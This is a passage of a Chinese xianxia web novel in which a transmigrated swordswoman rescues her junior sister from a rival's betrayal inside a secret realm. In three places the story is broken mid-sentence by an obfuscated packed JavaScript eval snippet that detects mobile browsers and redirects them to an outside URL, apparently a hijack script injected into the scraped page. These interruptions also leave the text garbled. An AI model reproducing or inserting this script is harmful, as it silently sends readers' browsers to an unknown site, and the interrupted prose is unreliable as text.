三人一惊，她淡定地从小圈子中站起来：“湖水里生活着一种叫丹熏鱼的生物，生有特异鳞片，坚硬隔热。将丹熏鱼从水里捞出来，死后它们就会变为丹熏草。” 祝遐宁：“……师姐，这话一定要从我手臂下钻到中间来说吗？” 敬水很满意大家的表情：“这是仪式感。” 祝遐宁，产生了强烈的吐槽欲。 谢菱月望着她难言的表情，抿出一抹笑：“是的，获取丹熏草的难点就在于，要翻过山脉来到中心湖泊，还要从沸腾的湖水里捞出丹熏鱼。” 而翻越山脉的路危机重重。 作为独成一境的空间，丹熏秘境制定了自己的时空规则。 环形丘陵密林葱郁，时空紊乱，且毫无规则。前一刻刚跨越艰难险阻走到中心湖，下一刻就可能会被时空乱流丢下悬崖，迎接大喜大悲。 不光时空，山脉上的地形也会发生变化。每日入夜便是地形刷新时间，山块在夜幕笼罩下像地龙一样翻滚，高峰变平，平底变裂谷，地底涌出的岩石矿物化作液体四处奔流，醒来时已凝结成块，将人或动物固定在地面。 “那只能安排人守夜巡逻？”祝遐宁皱起长眉。更可怕的是，兴许整晚整晚都睡不了觉。白日精疲力尽，夜晚亦不得安稳。 敬水：“不、不用。” 她咳嗽一声，几人心领神会略微退开，她便假模假样鞠一躬：“不才，每年都是领队。” 祝遐宁：“……！！” 她意识到什么，惊叹地微睁双眼。 “没错。”敬水给她一个“你懂我”的眼神，笑容狡黠，“——我已经摸清规律了。” …… 秘境大开，时空旋涡像一扇门矗立地面，各宗管事殷切地叮嘱完事宜，便放弟子们挨个进去。 两仪谷管事：“今年能带出几株？” 逍遥剑派：“还是想想今年会有几个出来哭爹喊娘说：再也不想跑步了——的吧。” 两仪谷撇嘴：“去年是三株。” 天玑宗哼声：“今年你们剑宗不是多来了两个金丹吗，带不出个三四株？” 逍遥剑派摸摸胡子，露出神秘的微笑。 他们多的，可不只是两个金丹。 秘境内对外界对话一无所知。 只有亲身抵达现场，才能感受自然的伟力。 世上真有这样奇妙的地形，山峰高耸入云，河流从南部向外流出，正中间深深凹陷的湖泊泛着碧绿的闪光，山脉像手臂环抱住这湖水，从高处望下去，好似大地曾被高速贯穿，留下形似枪伤的创口。 祝遐宁从空中下落，狂风簌簌吹乱发丝，她单手环住宿溪风的腰，后者有点郁闷：“没有更帅气的姿势吗？” 回应他的是悠扬的剑鸣，祝遐宁稳稳踩住剑身，几次骤降，最后平安落地。 她轻松转身，身后师兄面无表情站着，浅发被吹得乱糟糟，像只炸毛的狮子猫，甫一被放下来就开始捋头发，间或幽怨地瞅着她。 祝遐宁，冷静严肃。 宿溪风：“……不许笑。” 祝遐宁：“…………噗。” 宿溪风，不开心：“……我要使用我的要求。给我梳头发。” 尾音拉长，他低头弯下身子，灿烂的发丝因为重力倾泄，从这金子般的丝缕间挑眼看她时，芝兰玉树的面孔无疑令人恍神。 师兄的美色诱惑！ 祝遐宁挺住了！ 她古井无波地以手作梳，顺毛一般扒拉几下，直到宿溪风满意地哼哼，才暗松一口气。 施璇灵狼狈地扶着树干从一处阴暗处走出时，瞧见的便是这番场景。 余光闪过两道亮色身影，她迅速戒备。那两人有些眼熟，左边女子有种山水画般的气质，浑身色彩极少，大片的白，点缀泼墨似的发，还有几寸红，无比写意，望来时下颌轻扬，从容得像鹤。 右边男子完全不在意她，眼里只有身边那个鹤一样的女人，侧着的半张脸鼻梁高挺，眉眼春光灿烂，织金锦袍被玄色腰封勾勒出劲瘦腰身，外衫边缘绣着的暗纹随着光线变化似在流动。 这两人都是见之难忘。 施璇灵很快回想起来，这是那时谢菱月身边的人，放松之余，还是非常警惕。 “施道友？”祝遐宁先一步打破空气中的沉静。 她打量施璇灵沾着草叶的衣衫，很快想明白——对了，这位大小姐法术学得不好。 她在原著中一手鞭子挥舞得虎虎生威，唯独在术法一道吃了大亏，招致严重的后果。 想到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363020|183779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧情，祝遐宁的脸色微微变冷。 “……不高兴？” 耳畔被气流吹拂，宿溪风凑近她低语，终于漫不经心越过肩膀把目光投向寒毛倒竖的施璇灵。 师兄这语气听起来，好像她说个“对”就要去把人给杀了。 这个离谱想法有点好笑，祝遐宁没多想，安抚地按住他胳膊。施璇灵如临大敌往后退去，她赶忙叫住：“这次秘境我们没必要一定竞争，不如合作？” 施璇灵咬唇：“……我怎么知道你没恶意？你是谢菱月的师姐。” “？”祝遐宁茫然地和她对视一会。过了片刻，施璇灵先是惊讶，接着气恼，最后气急败坏：“谢菱月！就知道装好人！” “……”祝遐宁慢慢收起和善的表情，嘴角下撇，“师妹很好。” “你是她师姐，自然觉得她好。”施璇灵抱臂，不甘地回忆，“既然她没和你们说，好，那我告诉你们。” 她深吸一口气。 “——我和谢菱月，可是彼此认定的宿敌！”少女万分认真郑重地宣布。 “……” “…………” “喂！！谢菱月的师兄，你不要再笑了！你都没停过！！”施璇灵恼羞成怒地激烈跺脚。 祝遐宁捂住脸：“……怎么说？” “这一代里，只有我和她最强大最出彩，反正我爹说，我现在的对手只有谢菱月。”施璇灵哼声，“之前打过几场……她，勉勉强强吧。她真的没和你们谁提过我？” 最后问题像她实在憋闷，情不自禁的真心提问。 要不要维护少女的自尊心，这是个问题。祝遐宁尚在思索，宿溪风先一步愉快地拆穿：“完全没有噢。” “！！”施璇灵看起来要气炸了。 对不住了，师妹。祝遐宁在心中默哀几秒。这简短的交谈，足以她摸清施璇灵的性格：骄傲，任性，不善人际交往，不知道怎么交朋友的……单纯大小姐。 这样想想，她对叶凌天的最初恶感兴许就源于单纯性格的敏锐直觉。 “要一起同行吗？最终成果我们按贡献来分。”祝遐宁再次问，这回，她冰雪消融般的神色缓和了施璇灵的紧绷，她纠结地眨着长长睫毛，许久才将手放在祝遐宁伸出的手掌上。 掌心搭上的那只手心覆盖厚厚的茧，那是日夜不辍勤奋练习长鞭的证明。 祝遐宁握紧这只手。 ——她绝对不会让这双手的主人，因为药物作用承.欢于讨厌的男人身下。被迫放下挚爱的武器，被迫同对方纠缠半生，做个枯等无望的所谓“正妻”。 …… 谢菱月降落后，第一时间寻找两位师姐。 秘境空间紊乱，她感应一会便放弃。沿着林中被动物踩出的小路行过一段，转角便碰到最不想遇到的人。 对面想必也是如此。 叶凌天瞧见她冷淡的神情，暗恨瞬间冲上心头。 男人对于拒绝自己，还无比优秀的女人总是忮忌的。他们爱把一切错事往对方头上堆，好像这样就能挽回一些颜面，比如此刻，叶凌天已全然相信是谢菱月教唆得管事让他出丑。 他必须要让谢菱月付出代价。 这样想着，野鬼在脑海里笑了，乌鸦般嘶哑的嗓音提出无比诱惑的建议：“呵呵呵，是剑修啊。” “那不若……就让她再也无法拿起那把剑吧。” 5. 恶意 施璇灵跟着在山林疾行时，忍不住怀疑了下自己是不是答应得太快。 这样显得她很没面子！前脚被嘲笑，转头就乐颠颠跟着人走。 她用余光悄悄瞥那位师姐。 方才她告知了自己的名讳——祝遐宁，很适合她。看上去矜持冷静、凌冽风骨，像湖中翩翩的鹤。对施璇灵弯下眼睛真挚邀请时又那么平和…… 所以也不能怪她晕乎乎就答应了。施璇灵催眠般告诉自己。 她自以为暗中观察的样子无人发觉，但在观察对象的身后，宿溪风亦不动神色扫过她几眼，将所有动态收入眼中，若有所思。 已到正午，太阳悬在高空，向下抛洒清爽的日光。天幕白茫茫，祝遐宁站在山巅抬头时，情不自禁思索太阳的真假。 ——在这架台天文望远镜能看见太阳系吗？ 好吧，修士都能踏破虚空飞升，总不能是去到外星球，可能开普勒不管修真界。 登上这处山峰废了不少功夫。 起初，施璇灵还耐不住安静，兴致勃勃从她们口中打听谢菱月的往事，很快被宿溪风笑眯眯地掐诀堵上嘴巴，对此： 施璇灵：“呜呜呜呜呜！”你们法修真讨厌！！ 祝遐宁假装什么也没看见。 气焰汹汹的少女宛如被背叛，震惊地盯她几秒，气鼓鼓挤出一声：“哼！” 祝遐宁：“……”怎么办，良心有点痛。 她目标明确地寻觅附近最高峰，三人飞速移动，为了避免卷入时空乱流走丢，祝遐宁左右手各牵一个，幸好两人到她手下就不再折腾，只乖乖地跟在身侧。 这段路途看似不远，实则花费许多功夫。几次突然的穿梭后，祝遐宁可以判定，越靠近中心湖泊乱流越多，向远处走则几乎于无。想必是秘境为了避免湖中鱼被窃设置的考验。 从山上眺望，能望见无数山脊起伏，祝遐宁眯起眼仔细搜寻，寻找记忆里的白色树林。 原作里，叶凌天为了获取一个可以无限制打开秘境的钥匙，故意挑起两只灵兽的争端。被他卷入其中的谢菱月在算计之下手臂遭遇重创，又被抛下延误治疗，落下病根，此后剑术一落千丈。 一切的起因只是原书主角忮忌，他见不得退婚的前未婚妻压过他一头。 而这场阴谋的起点，就在一片白色森林中。 “在找什么？”宿溪风毫无形象地盘腿坐在地上，拉拉祝遐宁的衣摆。她低头，宿溪风指了指施璇灵，“说不定她知道呢？” 两人齐齐转身，目光正中，施璇灵也跟着指了下自己：“？” 她匪夷所思，又理直气壮：“你不是在找去中心湖的近路？我怎么会知道，我当然不知道。” 祝遐宁摸摸鼻子，难得有点心虚，毕竟前脚才说要合作共赢，后脚就带着不知情同伴走私人行程。 “其实……我在找一处白色的树林。” 烈焰般明媚的少女一下瞪大眼，眼看就要开炸，她迅速咳嗽解释：“我同师妹约定了要到那里会面。” 宿溪风微笑附和：“同门关系亲密不是很正常吗？”阴阳怪气。 当然是借口，希望两个女孩没有对口供的那天。 祝遐宁在心里叹气，一个谎言需要无数个其他谎言来掩饰，无法说出口的秘密也是。她已经不敢想身边目睹她胡诌的师兄脑海里怎么思考她的了。 又或许师兄压根不细想呢。她安慰自己，毕竟师兄看起来……嗯、很乐天。 ……她把“傻狗”两个字埋进心底，又填土压实。 施璇灵突然道：“等等、我好像真的有点印象……” 没想到真有意外之喜，祝遐宁讶然。她和宿溪风一站一坐，挡住了眺望的视野，施璇灵硬生生挤进二人中间（她对宿溪风又哼了声），左看看右瞧瞧，一手搭在眉前远眺：“下落时好像看见过，那时一直在找落脚点，似乎是有一片奇怪的白色。” 对了，施璇灵想降落，当然要借树林缓冲。 “那边！”施璇灵指着东方笃定道，“没错，肯定是在那边！” 太阳自东升起，曾将白色林叶照得璀璨耀眼。 “好。”祝遐宁果断道，沿她手指判断方向，迅速施展剑诀，一跃跳到剑身上。 再回头，两个没翅膀的旱鸭子呆呆地看着她。 祝遐宁：“……” 忘了这一茬！ …… 与此同时，谢菱月也在不悦地这样想。 差点忘了秘境还有个讨厌的人在。真是冤家路窄，谢菱月立马就要走开。 叶凌天想叫住她，可比他声音更快的是一声发狂的啼鸣—— “——轰！！” 生有青紫翎羽，赤红双目的巨鸟以重若万钧的冲力直直坠下，如同飞速的流星，尖锐鸟喙大张露出颗颗铁齿铜牙。它似乎意识不清，已完全判断不出周围环境，强烈的不安催使它释放巨大的攻击性！ 眨眼间，它一路碾过无数棵巨木，摧枯拉朽地袭来！ 羽毛像槐花一样飘散，谢菱月立即旋身往反方向跑，叶凌天紧随其后—— “——■！！” 这是一声几乎震碎耳膜的怪异啼叫，谢菱月神魂震荡，从喉咙咳出一口血。 “……金丹。” 野鬼和谢菱月同步出声。 前者语气漠视，后者凝重。 她望着那只越来越近，渴望毁灭周身一切生灵的巨鸟，神经紧绷到极致。 ……大危机。 别看只差一个境界。二者犹如天堑，再强大的筑基巅峰遇到将将踏入金丹的修士也是个死字。 如今只有寻找另一处金丹灵兽居住地，藏入其中躲避这个办法了。 叶凌天也是这样想的。 他想的甚至更多一层。 “我有办法了。”叶凌天在脑海对野鬼恶毒地说，“鹬蚌相争、渔翁得利！谢菱月要是卷入两只金丹灵兽的厮杀中不幸身死，那便彻底死无对证。” 野鬼赞同了这个做法。 两人思绪万千的同时，迅速朝着另一片洼地跑去。那里有股强大的气息，修为绝对不低这只怪鸟。 巨鸟已经锁定了她们，陌生的气息刺激得它吐息连连，涎水滴落腐蚀大片地面。 翅膀扇动卷起的风浪排山倒海，谢菱月直接御剑低空飞行，剑在主人感召下急促低鸣，速度愈发加快。 叶凌风有野鬼帮助淬炼身体，功法开发下，神魂强度已不同常 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16363021|183779||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人，肉身更是被开发到一定程度，如今几乎压榨极限运转功法死命狂奔，一时之间两人竟渐渐和巨鸟拉开距离。 直到进入洼地范围，巨鸟急停，悬在半空拍打翅膀，踌躇不前。粗喘着啼叫几声，生理性恐惧压过疯狂，它不甘地离去了。 “呼……” 谢菱月泄力，撑着剑半跪在地，仍死死压抑呼吸，不敢发出太大动静。 她身边就是一块假山大小的蛇蜕。 看起来只是一小部分，放在边界起警告作用，宣誓领地所属。 ……又或者，蛇蜕主人就在附近。 一时之间，竟举步维艰。不知道刚刚的动静是否惊动了此地领主，她缓缓扫视四周，在同样大喘气的叶凌天身上一顿。 谢菱月对他比了个蛇的手势，然后摇了摇头。 空气静谧，显得叶凌天拉风箱般的呼吸声格外沉闷，视线压缩成线的那刻，叶凌天仿佛无知无觉地大声问： “——什么？” 尾音重重落下，尾巴高高破土而出——！ 土块崩裂，巨大的杀人利器舒展，肌肉结实密切，多节椎骨无比灵活，坚硬的蛇鳞锋利似刀，光芒下折射出慑人的寒光。 “嘶嘶……” 慢慢回头，一颗巨大的蛇头垂下冰凉的竖瞳，似在打量。 谢菱月和它对视，心里没力气涌出生气的情绪。 ——跑！！ …… 祝遐宁一拖二艰难飞到白色树林上空。 她御剑到了半途才想起来：“师兄，你不是可以掐诀吗？” 蹭滴滴飞剑蹭上瘾了？ 宿溪风委屈：“师妹只想带她不带我？” 施璇灵：“哈！我比你轻，当然是带我更好！” 祝遐宁又熟练地头疼起来，掐断话题：“好了，别……” “咚！！” 苍白的茂密树林中，最挺拔的那棵骤然以恐怖速度升高，飞速伸出无数藤蔓枝条，鞭子般向外抽去！ 藤鞭落下的地方，无不留下横扫植被、几乎绵延到远山的巨大裂缝。 浓烟滚滚，山石迸裂，一颗醒目的蛇头由暗到明探出烟雾，澄黄竖瞳杀意与血腥并存。 “……”施璇灵颤抖着抱紧祝遐宁的手。 威压。 金丹期的威压如气波飞速扩散覆盖整片树林。 还是两道。 那不是树，那是一只树为原型的灵兽，它被闯入领地的大蛇激怒，藤蔓铺天盖地飞出，意图杀死所有入侵者！ 祝遐宁定定道：“走。” “等等、你要去那里面？！”施璇灵惊恐地摇头，“不行，你会死的！” 祝遐宁看着她：“我就是为此而来。” 施璇灵怔怔地被放到地面，她仰头，那个好脾气的师姐右手微动，承载她们的银白佩剑被丢到地上，随着风的鼓动，左耳悬挂的不起眼红玉小剑晃动几下，吸引般飞到祝遐宁手上。 红玉般的温润褪去，剑在变大，变化成剑身蕴含云纹赤色波光的锋利长剑。 长剑喜悦地嗡鸣，它的主人面朝战场，施璇灵在身后看她低下头，轻吻这把无鞘的神兵。 “走吧，绛鹤。” 6. 无双 回到几刻钟前。 不光是体力，灵力也在飞速运转中耗尽。呼吸带上铁锈味，两侧树影模糊后移，身体沉重，又在肾上腺素的加持下迸发新的活力。 追逐谢菱月二人的玄蛇带着恶趣味般漫不经心，像逗弄猎物一样，放任两个渺小修士拼命逃窜。 发丝被汗浸湿沾在冷白脸侧，极端压力下，谢菱月反而更加冷静。急转弯绕过巨石，她在疾奔中猛然打止借力翻身，抬头凝望大蛇的瘆人瞳孔时，剑刃亦沿着动线猝然回斩！ 击玉敲金之声铿锵，挥出的剑气在漆黑圆润的鳞片上不足以留下一道浅印，反而激怒了怪蛇。它张开巨大的嘴巴，尖牙狰狞完全暴露空气中，瞬间朝她咬来。 速度太快，谢菱月只来得及横过剑，毒牙以灭顶的速度骤然降临，架在长剑之上的力道无比恐怖，但谢菱月顶住了，非但如此，她还趁机借力反身跳上巨蛇脑袋，半跪压低身体，左手变出一把匕首，狠狠插入鼓起的眼珠之中！ “■■————！！” 猝不及防，玄蛇痛苦地仰头痛呼，身体剧烈收缩挣扎，险些甩掉身上的修士。蛇头向后仰去，暴露在空气中的下颚镶嵌着一颗绯红的圆珠。 叶凌天没停下，他回头看了眼倒在地上疯狂搅动身体的大蛇，大地都因为它的怒火而颤抖。尘土漫天，完全将谢菱月淹没。 “还真是多谢她……”叶凌天也没料到这蛇这么难缠。他并不畏惧，毕竟大脑里的野鬼向他担保自己的能力足以护他无事，当然原话是“老朽虽然沦落至此，但不至于连个小小的金丹畜生都奈何不了”。 谢菱月乐意将玄蛇引走，他乐见其成。死在那最好。 这般一想，他改变主意决定停留在这，等看到谢菱月的终局再离开，野鬼突然急急开口：“小子，去取那颗红色珠子！” 苍老诡谲的声音往常指点他时一向不徐不缓，此刻终于带上贪婪：“若是没猜错，那应该是这片秘境的钥匙……拿到它，你就能享受整个秘境的珍宝。” 他的语气诱惑煽动，叶凌天的心脏立刻扑通扑通加速跳动，眼睛发亮。 野鬼知道，他动心了。 他曾经在家中享遍珍宝，一朝沦落为寒门修士，几乎处处受人掣肘，性格越来越极端敏感，渴望财宝权势。 “我要怎么做才能拿到那颗珠子？”叶凌天迫不及待问。 没等野鬼说出个一二三，谢菱月的身影先一步从尘雾中显现，她狼狈不已，清亮的眼睛仰望缓缓从地面立起的玄蛇，其中非但没有恐惧，反而是灼热的战意。 “这就是金丹。”她想，再次将剑横在身前。巨大的阴影几乎将她完全笼在身下，她身高不过巨蛇的头颅长，夸张的体型差令整幅画面充满压迫感。 谢菱月其实很喜欢向师姐讨教剑法。 筑基时，她被师尊带到剑石前，师尊问她：“你想要什么？” 十五岁的她认真想了想，说：“我要变强。” 变强，变得比谁都要强大。幼年家族败落，东域漂泊的过去到底在她血肉剜下深刻的伤疤。 她的道是“无双”。 逍遥剑派的祠堂前，她看到写有自己名字的玉牌上显现这两个字。 掌门说，大道的感应从来不会有错。 谢菱月却想，她的道不应该是“无双”。 她的第一把剑是师姐送的。一把短小的木剑，很适合刚来到逍遥剑派的她。她的剑法是师姐教授的，她在树下挥剑时，透过飘飞的叶片，师姐屈膝坐在枝干上看她。她向师姐请求对战，起初师姐还会端着面子应下，潇洒地将她打败，熟络后，就会耍赖、枕着她的大腿，懒洋洋说自己其实不喜欢打打杀杀，谢菱月只是看着她。 笑着看着她。 师姐避迹山居，不爱出门展现自己的剑术，谢菱月有些遗憾。 她不想打败师姐。 她想和她并肩。 每一次，默默跟在师姐身后磨来一次对练，她都会开心地感受到希望的一刻离她更近一点。 ——直到今天。 死亡在头顶怒吼，金丹期灵兽的威压结结实实全数压下，玄蛇愤怒到了极点，它放弃玩耍，它要吃掉这个可恶的人类修士！ 谢菱月只是仰头看着它，握着剑。 野鬼暗骂一声，寒声道：“快阻止她！！” 话音落下，谢菱月的手臂已然迅速向上猛挥，霸道到极点的剑意在信念加持下爆发惊人的杀伤力，可以抵御恐怖高温和巨力的蛇鳞被冲击掠过时弯曲下陷，可这不是她的目标，那双盛满沉静的眼睛，未曾移开分毫。 是那颗珠子！ 叶凌天飞身上前阻止，但玄蛇已被击中，赤色的圆珠被至刚至利的力量正面击中，被精心保护在最安全处的宝物，如谢菱月所想那样细微地“咔嚓”一声，崩解落下。 叶凌天只来得及跳入巨蛇的视线范围中，徒劳地伸长手臂，目眦欲裂。 “猜错了啊。”谢菱月遗憾地说。 下一刻，她的身影闪到了数十米开外，手腕上的深红手镯同时碎掉。 就像这种时候，谢菱月想，比起成为“无双”的那个，她更想活下来，未来再和师姐一起坐在草丛中，让她枕着自己的腿午憩。 她毫不犹豫转身就跑。 玄蛇在身后悲鸣！这叫声中似乎还带有恐惧，她分不清。 谢菱月使出所有师尊送她的法具，迅速逃离现场。叶凌天什么也没捞到，眼睁睁看着被纳为己有的至宝在眼前被毁，他痛心疾首。 更别提，暴怒又惊惧的巨蛇离他此刻更近！ 叶凌天咬牙，也跟上去。 他的步伐变得诡异，像鬼魂飘忽平移，几瞬便滑出很长一段路。 玄蛇追上的速度毫不逊色二人。它已打定主意，要用这两人平息■■的怒火！ 一场拉锯战展开，巨木接连被压断倒塌的动静引起四方注意。西方，敬水望着远远的天幕边，忽然皱了下眉。 谢菱月朝着太阳升起的方向而去，她不断思索破局之法，巨蛇追在身后的动静毫不掩饰，一路闯入无数灵兽 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红珠被毁的恐惧与怒火一把烧去所有掂量，它瞧见谢菱月想逃，硬扛着巨木抽打在身躯上的皮开肉绽，不闪不避，探出脑袋凶狠地朝她咬去！ 谢菱月欲闪躲，她本该成功，盖因玄蛇已失去一只眼睛，缺了点准头。身后突兀浮起一股烟雾般的灵气，她侧身时，余光中猝然闪过一张脸。 叶凌天面无表情，在身后反方向推了她一把。 他半身化作幽烟，手上仿佛带着千斤之力，一时之间她竟错愕地跌向了玄蛇袭来的血盆大口。 尖锐的毒牙眼看就要将人类脆弱的身躯撕裂。 叶凌天畅快的笑还没扬起。 比感官上不寒而栗更快降临的是剑光！ 那剑轻快，像白鹤振翼掠过水面。 只一剑。 不需要任何技巧，只是一次挥剑。 玄蛇的尖牙应声断裂，像切豆腐那样平滑削去一半。 坚硬的蛇鳞脆弱如碳，接着是血肉，然后劈开整个蛇头，剑快到极致，便带来雷霆万钧的威势！ 那蛇来不及发出一声哀嚎，就被瞬间斩于剑下！ 血液爆裂般喷涌而出，与剑身擦肩而过，洋洋洒洒如雨落下，而剑则继续向上，最终稳稳停住。 被搂住的谢菱月浑身脱力倒在来人怀中，不眨眼望着剑光。 “……师姐的剑、真美。” 祝遐宁轻轻说：“回去师姐陪你练剑，多少次都可以。” 她的黑发如瀑，洁白衣衫不染丝毫血污，背景飞溅的血肉颜色浓稠，剑同她一样轻巧掠过，毫不沾身。巨蛇轰然倒地，白树审慎地停下动作，一切目光聚集于她一人。 万籁俱寂中，她拥着谢菱月回身，眉心一点红得夺目，慈悲如观音，剑缓缓垂落指向地面。 她抬起眼睫，跨过血海朝叶凌天走来时。 他胆寒地发现，那双无波澜的眼里，像有火在燃烧。 7. 本相 书中读过不下七次，等亲眼目睹这一刻，祝遐宁还是无法平静。 还好赶上了。 她不敢想，原著中爱剑成痴的师妹遭遇此等背刺，侥幸捡回一条命后却再也无法使出无双的剑法，该有多么痛苦。 更别提，原著叶凌天拿到无限开启秘境的钥匙，获得一大功绩，被两仪谷奉为座上宾。和施璇灵的混乱关系未来助力他在天玑宗平步青云，谢菱月此后沉寂，砚霜真君多震怒，却也没有证据，逍遥剑派对叶凌天的敌视只为之后的灭亡埋下伏笔。 宗门的愤怒和报复一次都未成功，叶凌天的名声越大，她们的名气就越跌落，最终一朝事发，偌大宗门就此陨落。 她看着谢菱月长大，从沉默倔强的小孩成长成现在清冷但明亮的少女，看着她日以继夜修习日课，一次次挥剑。 她决不允许。 祝遐宁挑起长剑绛鹤，银白剑身感应到主人的滔天怒火，浮现盘旋的鹤纹红云，杀意毕露。 “我应该在此处杀了你。”她将谢菱月的脸按入怀中，感受她虚弱的呼吸，心口鼓噪冷酷的恨意，“但又好像太便宜你了。” 她略歪头，眼睛居高临下地望着他，叶凌天竟感觉自己此刻匍匐在地，她的剑尖好似指在他脖颈上，死亡近在咫尺。 “你这般陷害他人，无忠无义的鼠辈。”祝遐宁冷冷道，“就应该被所有人唾弃。” 叶凌天浑身一颤，猛地看她身后，那里站着两个人，一人对他视若无睹，专注地凝望他面前的可怕女人，眼带欣赏笑意。另一人正是施璇灵，她满眼冷漠和失望。 ……完了、全都完了。 叶凌天心跳越来越快，他混乱地呼唤野鬼：“前辈、前辈，这该怎么办……对了，你能不能把她们全都杀了！” 千呼万唤，野鬼才冒出来幽幽冷笑：“晚了。逍遥剑派祠堂的玉牌会记录弟子死因，我在这里杀了她们，你躲到下界也逃不掉。” 他遗憾地叹了口气：“你动作应该快一点的。” 野鬼仿若置身事外，叶凌天颤抖着低下头，终于产生一丝后悔……后悔没更早动手！ 修真界虽是杀人夺宝样样不缺，但说出去终究是被诸人厌弃，冷言嘲讽的可耻行为。尤其施璇灵同时目睹了这一幕，只要她同父亲一说，他在师尊那里的名声就完蛋了！ ……她们必须死在这里。 想法产生的那刻，等待得不耐烦的白树动了。它对人类的爱恨情仇不感兴趣，纵容几个人类修士暂时停留已是开恩，对祝遐宁还有一丝忌惮，但领地意识促使它悍然出手—— “——簌！！” 藤鞭自上重重劈下，祝遐宁甚至看都没看，稳稳抱着谢菱月，扭腕轻挥，绛鹤剑骤然释放一道剑气，带着她无处发泄的怒意，直接斩断白树数条藤蔓！ 威压完全释放，仔细避开几人，全数加在了在场的敌人身上。 白树感应到金丹后期的气势，迅速老实了。 ……它一反凶恶态度，缓慢地缩回正常大小，藏木于林。 ……很有眼色。 谢菱月没忍住笑了。 师姐看来，她眨着眼说：“……就知道师姐最可靠了？” 祝遐宁：“…………”不是想让你吹彩虹屁啊。 无论如何，看师妹还有精神，她无奈地放心下来。 此刻她才有余裕检查师妹的状况，谢菱月体力和灵气耗尽，和玄蛇搏斗时受了些伤、但幸好不重，最终看下来，受创最深的竟是她的储物袋。 “师尊给的法宝，都没了。”谢菱月沮丧。 “师姐给你买。”祝遐宁一锤定音。 有师姐的师妹像个宝！谢菱月静静地又幸福了。施璇灵在后面望着，那一点羡慕被她压回心底。 祝遐宁看似是将叶凌天高高举起轻轻放下，实则不然。抱着谢菱月离开前，她对宿溪风瞥去个眼神。 师兄秒懂，对她眯起眼睛微笑点头。 宗门内的人，可没有任外人欺负的道理，这在哪个门派都通用。 虽然他不在乎，但师妹在意这个……哎呀。 没等叶凌天放松，又一道气势压得他再次跪下来。 “怎么办呢，师妹很不高兴。” 来人身材高挑，走近时，影子覆盖在叶凌天贴近地面的身体，不紧不慢抬手放出一道术法。 金光化作不断旋转的圆环，将叶凌天捆住。 这竟然是个无需吟唱即可放出术法的法修！ 好眼熟的设定，叶凌天瞪大眼：“你、你才是那个人……！” 眼见宿溪风不为所动，只是微笑看着他，似乎在思考折磨的手法，叶凌天切实从他身上感受到一股毛骨悚然。 这是那些灵兽和那个女人都未能带给他的恐惧预感。 他头发披着太阳金光，灿烂夺目，背光的脸在阴影中，笑容亲昵，开朗的神色配上这份气质，只会越发瘆人。 叶凌天不得不转动脑筋，冷汗涔涔寻找救命办法，等在宿溪风失去耐心前急急大喊：“等等、你这样给你师妹出头，不怕她是利用你吗？！” “利用？”宿溪风咀嚼这个词，蹲下来贴近他，用扇子挑起发抖的下巴，好奇问，“怎么利用？” 他没用力，但扇骨锋利逼迫叶凌天自己拼命抬头，他狼狈地梗着脖子组织措辞：“你、她……说不定她就是用美色诱惑你！让你对她俯首帖耳，像狗一样使唤，其实她压根不在乎你！” 宿溪风静静看着他，忽然大笑！ 他笑得扇子也发抖，逼得跪伏的人不得不使劲仰头，笑得叶凌天危机感爆鸣，头皮发麻，继续说下去：“你自己看，她有看过你一眼吗！她一直和她那个师姐在一起！” 笑声戛然而止，那人不笑了。 许久，他垂着眉眼轻轻叹息。 “好蠢。” 叶凌天困惑着挣扎去看那人神色，难道他有说错吗？若不是被谢菱月蛊惑，这样的男人会巴巴地不断为她出头？ 他只看到他冷淡的眼睛，宿溪风不笑的时候，那双天然冷血的双目才会暴露他的真面目。 “连我在为谁做事都分不出。”他说，在这个无人注意的角落，慢慢释放自己的本相，“蠢到这种地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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师妹在和她的师妹亲密说小话。 谢菱月战力算是报废，仍然很精神，靠着师姐的大腿望向远处：“师兄在干什么？” “询问事情吧，大概。”祝遐宁丝毫没提她给宿溪风递的那个恶狠狠眼神，转移话题，“师妹有在那条玄蛇的领地看到一株伴生灵植吗？” 谢菱月迷茫地摇头。 于是乎，祝遐宁按照原著描述仔细形容一通，讲到赤红色剔透圆珠时，谢菱月忽然目光游移。 “……据我了解，这应该是可以避开时空乱流的道具，兴许还有其他作用，给师妹拿着正正好。”祝遐宁总结。 “师姐……” 谢菱月想起被玄蛇追逐的一路，她们确实没有再触发位置变幻。 但是—— “那个珠子、”谢菱月心虚道，“我把它打碎了……” “……” ？ 祝遐宁大惊，这和原作里不一样啊！ 师妹于是仔仔细细和她讲完那一战，祝遐宁听后陷入沉思。 原作里，师妹被殃及时可是战意满满地和玄蛇打了一架，而那颗珠子还在洼地深处的一株花萼上，静静等待龙傲天的到来。 被玄蛇放在下颚藏起，师妹忽然找寻机会避战，所以取巧打碎了它…… ……怎么和原作这么大出入？ 祝遐宁有种非常微妙的不好预感。 8. 诈尸 原作中，那颗赤红珠子让叶凌天在秘境一路畅通无阻。有野鬼出手，他顺利逃脱玄蛇追查，最终带出秘境，又得到两仪谷某位大人物赏识。 这珠子作为贡献被叶凌天献上宗门，大大提高丹熏草的获取率，秘境此后也不再开启。 